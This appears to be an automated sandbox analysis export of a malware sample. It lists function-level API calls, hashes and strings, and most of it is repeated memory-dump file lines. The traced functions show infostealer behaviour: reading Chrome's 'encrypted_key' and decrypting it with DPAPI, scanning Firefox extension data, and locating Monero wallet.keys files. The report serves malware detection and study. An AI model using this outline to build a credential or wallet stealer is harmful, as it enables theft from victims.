Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 39dbcd0b507c7e6875c4cc2bafa0b4dbc44422a31bc9b23e6caebcd3830550f4
Instruction ID: 3fd596dca4e50655daa3d669815d370d5c10402cf93bae7c7a0bf13448ed0b8c
Opcode Fuzzy Hash: 39dbcd0b507c7e6875c4cc2bafa0b4dbc44422a31bc9b23e6caebcd3830550f4
Instruction Fuzzy Hash: 16118FB5A44205AFD704CBD8DD59FBBFB78FB88B20F104219F619A7280DB7458008BA1

Function 009A12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009A12B4
RtlAllocateHeap.NTDLL(00000000), ref: 009A12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 009A12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009A12F5
RegCloseKey.ADVAPI32(?), ref: 009A12FF

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ff8d58c4d73923de56c6ebb79449639a3e8e95aedb5b1389104b4e171a0d7e8a
Instruction ID: 0943105b6b15c3e1732d74f39369eeb1b8e49521b7ee5eaf0fdb6fca25a6828a
Opcode Fuzzy Hash: ff8d58c4d73923de56c6ebb79449639a3e8e95aedb5b1389104b4e171a0d7e8a
Instruction Fuzzy Hash: DF01CD79A40208BFDB04DFE4DC59FAEBB79BB4C701F104159FA1997280DA709A058B50

Function 009A9FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01489470,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 009AA00D
LoadLibraryA.KERNEL32(01476860), ref: 009AA096

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA1F0: lstrlen.KERNEL32(009A4F55,?,?,009A4F55,009C0DC6), ref: 009BA1FB
Part of subcall function 009BA1F0: lstrcpy.KERNEL32(009C0DC6,00000000), ref: 009BA255

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

SetEnvironmentVariableA.KERNEL32(01489470,00000000,00000000,?,009C1290,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,009C0AE6), ref: 009AA082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 009AA002, 009AA016, 009AA02C

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 7dbf31fc69d9f177f231c9d7a85c94bca50d18c210604d36787a93259fb86804
Instruction ID: 8d12e31ebcde8c4c83332f3c8f1ba80b59428ba43dc4cc3acc253dfa3c607878
Opcode Fuzzy Hash: 7dbf31fc69d9f177f231c9d7a85c94bca50d18c210604d36787a93259fb86804
Instruction Fuzzy Hash: 56415071904105EFC714DFA4EC96FAE7FB9AB6E300F144028E40D932A0DFB16945CBA1

Function 009AA1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009B8600: GetSystemTime.KERNEL32(009C0E02,0148ED18,009C059E,?,?,009A13F9,?,0000001A,009C0E02,00000000,?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009B8626

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009AA231
lstrlen.KERNEL32(00000000), ref: 009AA5EA

Part of subcall function 009A9E60: LocalAlloc.KERNEL32(00000040,?), ref: 009A9EFE

lstrlen.KERNEL32(00000000,00000000), ref: 009AA32D
DeleteFileA.KERNEL32(00000000), ref: 009AA671

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTime
String ID:
API String ID: 3104408854-0
Opcode ID: a8d6ffd246269aa0463c2e69c5d19deb6ad576874dabcced7f727dfc946e2d21
Instruction ID: 721da704cbaa5bd28e7a4332a338982988d8d4bbae7347e9c8785dd0126d6138
Opcode Fuzzy Hash: a8d6ffd246269aa0463c2e69c5d19deb6ad576874dabcced7f727dfc946e2d21
Instruction Fuzzy Hash: DBD1CF72C14108AACB09EBA4DD96FEE733CAFA4310F508159F557720A1EF716A4CCB66

Function 009AD5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009B8600: GetSystemTime.KERNEL32(009C0E02,0148ED18,009C059E,?,?,009A13F9,?,0000001A,009C0E02,00000000,?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009B8626

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009AD641
lstrlen.KERNEL32(00000000), ref: 009AD7DF
lstrlen.KERNEL32(00000000), ref: 009AD7F3
DeleteFileA.KERNEL32(00000000), ref: 009AD872

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: cce8de69cdbfc2c7288b1e739d26c1ecc71ce992aad5380d07e52c36db65e286
Instruction ID: 5f241b7fc7cdcac4b87d77ae1ab6c0a1db86bd842629776c0b46f372e56b237a
Opcode Fuzzy Hash: cce8de69cdbfc2c7288b1e739d26c1ecc71ce992aad5380d07e52c36db65e286
Instruction Fuzzy Hash: 57810172914108ABCB08FBA4DD96FEE773DAFA4314F404529F417670A1EF746A08CB62

Function 009AF2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009A9A3C
Part of subcall function 009A9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009A9A61
Part of subcall function 009A9A10: LocalAlloc.KERNEL32(00000040,?), ref: 009A9A81
Part of subcall function 009A9A10: ReadFile.KERNEL32(000000FF,?,00000000,009A148F,00000000), ref: 009A9AAA
Part of subcall function 009A9A10: LocalFree.KERNEL32(009A148F), ref: 009A9AE0
Part of subcall function 009A9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 009A9AEA

Part of subcall function 009B88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009B88F2

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,009C1524,009C0D7A), ref: 009AF38C
lstrlen.KERNEL32(00000000), ref: 009AF3AB

Strings

moz-extension+++, xrefs: 009AF3ED
^userContextId=4294967295, xrefs: 009AF3DC

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 37caa82acd42781c6af3ee4b3e0181bbce55997aee77b4194ebb546b954c8043
Instruction ID: 6e392aca2d06fb0fd8f2f61a9d92fde74456e4bdfdc455aaf67e75c30e5a326b
Opcode Fuzzy Hash: 37caa82acd42781c6af3ee4b3e0181bbce55997aee77b4194ebb546b954c8043
Instruction Fuzzy Hash: F351D072D14108AACB44FBB4DD96EEE777CAFD4310F408528F81767191EE746A08CBA2

Function 009A9D30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009A9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009A9A3C
Part of subcall function 009A9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009A9A61
Part of subcall function 009A9A10: LocalAlloc.KERNEL32(00000040,?), ref: 009A9A81
Part of subcall function 009A9A10: ReadFile.KERNEL32(000000FF,?,00000000,009A148F,00000000), ref: 009A9AAA
Part of subcall function 009A9A10: LocalFree.KERNEL32(009A148F), ref: 009A9AE0
Part of subcall function 009A9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 009A9AEA

Part of subcall function 009B88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009B88F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 009A9D89

Part of subcall function 009A9B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009A4F3E,00000000,00000000), ref: 009A9B3F
Part of subcall function 009A9B10: LocalAlloc.KERNEL32(00000040,?,?,?,009A4F3E,00000000,?), ref: 009A9B51
Part of subcall function 009A9B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009A4F3E,00000000,00000000), ref: 009A9B7A
Part of subcall function 009A9B10: LocalFree.KERNEL32(?,?,?,?,009A4F3E,00000000,?), ref: 009A9B8F

Part of subcall function 009A9BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 009A9BD4
Part of subcall function 009A9BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 009A9BF3
Part of subcall function 009A9BB0: LocalFree.KERNEL32(?), ref: 009A9C23

Strings

, xrefs: 009A9E11
"encrypted_key":", xrefs: 009A9D80
DPAPI, xrefs: 009A9DD9

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
